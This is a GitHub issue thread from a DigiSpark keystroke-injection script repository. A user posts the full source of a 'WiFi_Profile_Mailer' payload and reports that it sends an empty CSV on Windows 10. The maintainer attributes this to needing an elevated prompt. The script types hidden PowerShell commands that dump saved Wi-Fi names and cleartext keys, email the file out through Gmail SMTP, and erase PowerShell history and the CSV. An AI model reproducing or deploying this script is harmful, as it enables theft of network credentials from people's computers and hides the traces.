CedArctic / DigiSpark-Scripts

USB Rubber Ducky type scripts written for the DigiSpark.
MIT License
1.92k stars 602 forks source link

WiFi_Profile_Mailer issue #6

Closed naberl closed 6 years ago

naberl commented 6 years ago

//This DigiSpark script writes the wireless network credentials to a csv file and emails it. //Credits to p0wc0w.

define kbd_tr_tr

include "DigiKeyboard.h"

void setup() { }

void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print("COLOR EF"); DigiKeyboard.sendKeyStroke(KEYENTER); DigiKeyboard.delay(100); DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\"")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(600); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(600); DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print("COLOR EF"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('email@gmail.com', 'password'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'email@gmail.com'; $ReportEmail.To.Add('email@gmail.com'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\"")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print("COLOR EF"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"del (Get-PSReadlineOption).HistorySavePath\"")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print("COLOR EF"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print(F("del temp.csv")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print(F("exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /empty/ } }

script doesn't seems to be working,it does send a temp.csv file but the file is empty I'm using this script on Windows 10

CedArctic commented 6 years ago

@naberl thanks for pointing out the issue, it has to do that newer versions of Windows require you to run the command in an elevated cmd prompt. In response I've put together an improved version of the script which you can find in the same folder.

10536tyler commented 4 years ago

I'm having the same problem with the new script.